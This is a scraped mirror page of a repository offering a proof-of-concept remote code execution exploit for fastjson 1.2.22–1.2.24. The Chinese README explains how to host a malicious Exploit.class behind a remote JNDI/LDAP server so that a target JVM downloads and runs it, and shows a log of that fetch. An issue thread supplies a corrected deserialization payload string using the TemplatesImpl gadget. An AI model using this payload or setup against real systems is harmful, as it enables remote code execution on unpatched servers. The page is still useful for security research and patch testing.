Git Product home page Git Product logo

fastjson-remote-code-execute-poc's Introduction

fastjson remote code execute poc 直接用intellij IDEA打开即可 首先编译得到Test.class，然后运行Poc.java

支持jdk1.7，1.8 该poc只能运行在fastjson-1.2.22到fastjson-1.2.24版本区间，因为fastjson从1.2.22版本才开始引入SupportNonPublicField

详情分析：http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/ 基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析：http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/ 其他参考：http://xxlegend.com/2017/11/23/Java%20JSON%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E6%AE%87-%E7%9C%8B%E9%9B%AA%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91%E8%80%85%E5%B3%B0%E4%BC%9A/

基于JNDI的poc，JdbcRowSetImplPoc.java

1，在远程服务器上运行server中的JNDIServer或者LdapServer 2，将Exploit.class放到上述服务指定的位置，一般都是web服务目录下 3，执行JdbcRowSetImplPoc.java

注意事项：

启动JNDIServer或者LdapServer的时候 factoryLocation 一定得是ip后带斜杠，这个斜杠少不得，少了的话到web服务器的请求就变成了GET / 而不是正常的GET /Exploit.class，正常的示例如下： 224.206.180.18 - - [07/Dec/2017:02:11:15 -0500] "GET /Exploit.class HTTP/1.1" 200 860 "-" "Java/1.8.0_102"

fastjson-remote-code-execute-poc's People

Contributors

shengqi158 avatar

Stargazers

avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar

Watchers

avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar

Forkers

lightless233 ch0ck 5up3rc m1yt hkylin nx4dm1n ashmaple weaponsandtools jooeji feisec androiddream thanatoskira rainism rongqinglee sanwenkit lubyruffy fatgrass songofhack xbeark hackpanda taibaiyifeng wsygoogol sevck i1ikey0u whoiskx phpplay p01ice 0irebrwe vf3ng gcxtx bsmali4 letian-321 guoyu07 orf53975 zhangw cyri1s lw1988 tuian unclejim fhgzs cc-ohayou lczgywzyy j1anfen earayu isaacqiang ldbqh lonehand pythonone inarcissuss nothingcw easonyi raul1718 bbghunter lgonline 993145720 wifido harry1080 xiaoshuier tailoredaccessteam sunqinbo deelmind mkv4 xiaoyinchong arryboom isrepo greg-wu selfevo andr01la gaogaostone syl3r sec-db zhiyeqianqian lyy0755 xiaolushuo freemanzyq sbhahaha superwangvip xunhuijiahao l4inoday shidongwa readless test123test111 wangzehui123456 b0y1n4o4 aaq1adqwe leaow5 xinbs dingafter tguangch xiaofang168 0n3s kingseast helloword1979 raystyle 0x6b7966 andy521 slowmistio 303donatello heshouyou liqingmubai

fastjson-remote-code-execute-poc's Issues

ldap报错

搭了个ldap服务器，payload发过去之后返回了：
java.lang.ClassCastException: com.sun.jndi.ldap.LdapCtx incompatible with javax.sql.DataSource ？
是因为java版本太高了吗？

报错

请教以下报错什么原因？

"D:\Program Files\Java\jdk1.8.0_152\bin\java" "-javaagent:D:\Program Files\JetBrains\IntelliJ IDEA 2017.3\lib\idea_rt.jar=56671:D:\Program Files\JetBrains\IntelliJ IDEA 2017.3\bin" -Dfile.encoding=UTF-8 -classpath "D:\Program Files\Java\jdk1.8.0_152\jre\lib\charsets.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\deploy.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\access-bridge-64.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\cldrdata.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\dnsns.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\jaccess.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\jfxrt.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\localedata.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\nashorn.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\sunec.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\sunjce_provider.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\sunmscapi.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\sunpkcs11.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\ext\zipfs.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\javaws.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\jce.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\jfr.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\jfxswt.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\jsse.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\management-agent.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\plugin.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\resources.jar;D:\Program Files\Java\jdk1.8.0_152\jre\lib\rt.jar;D:\fastjson-remote-code-execute-poc\target\classes;C:\Users\xiaoming.linxm.m2\repository\commons-codec\commons-codec\1.10\commons-codec-1.10.jar;C:\Users\xiaoming.linxm.m2\repository\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar;C:\Users\xiaoming.linxm.m2\repository\com\unboundid\unboundid-ldapsdk\3.1.1\unboundid-ldapsdk-3.1.1.jar;C:\Users\xiaoming.linxm.m2\repository\commons-io\commons-io\2.3\commons-io-2.3.jar;C:\Users\xiaoming.linxm.m2\repository\xalan\xalan\2.7.2\xalan-2.7.2.jar;C:\Users\xiaoming.linxm.m2\repository\xalan\serializer\2.7.2\serializer-2.7.2.jar;C:\Users\xiaoming.linxm.m2\repository\xml-apis\xml-apis\1.3.04\xml-apis-1.3.04.jar;C:\Users\xiaoming.linxm.m2\repository\org\springframework\spring-beans\4.3.7.RELEASE\spring-beans-4.3.7.RELEASE.jar;C:\Users\xiaoming.linxm.m2\repository\org\springframework\spring-core\4.3.7.RELEASE\spring-core-4.3.7.RELEASE.jar;C:\Users\xiaoming.linxm.m2\repository\commons-logging\commons-logging\1.2\commons-logging-1.2.jar;C:\Users\xiaoming.linxm.m2\repository\org\springframework\spring-context\4.3.7.RELEASE\spring-context-4.3.7.RELEASE.jar;C:\Users\xiaoming.linxm.m2\repository\org\springframework\spring-expression\4.3.7.RELEASE\spring-expression-4.3.7.RELEASE.jar;C:\Users\xiaoming.linxm.m2\repository\org\springframework\spring-aop\4.3.7.RELEASE\spring-aop-4.3.7.RELEASE.jar;C:\Users\xiaoming.linxm.m2\repository\org\apache\xbean\xbean-naming\4.5\xbean-naming-4.5.jar" person.JdbcRowSetImplPoc
Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:136)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.java:83)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:773)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:600)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at person.JdbcRowSetImplPoc.testJdbcRowSetImpl(JdbcRowSetImplPoc.java:17)
at person.JdbcRowSetImplPoc.main(JdbcRowSetImplPoc.java:10)
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96)
... 13 more
Caused by: java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634)
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
... 18 more

POC无法复现

您好，直接用您的POC.java无法复现，对比发现应该是您给出的JSON中缺少_tfactory属性，所以导致POC无法复现。

String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_tfactory\":{ },\"_outputProperties\":{ }," + "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
用上面的代码就可以了

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.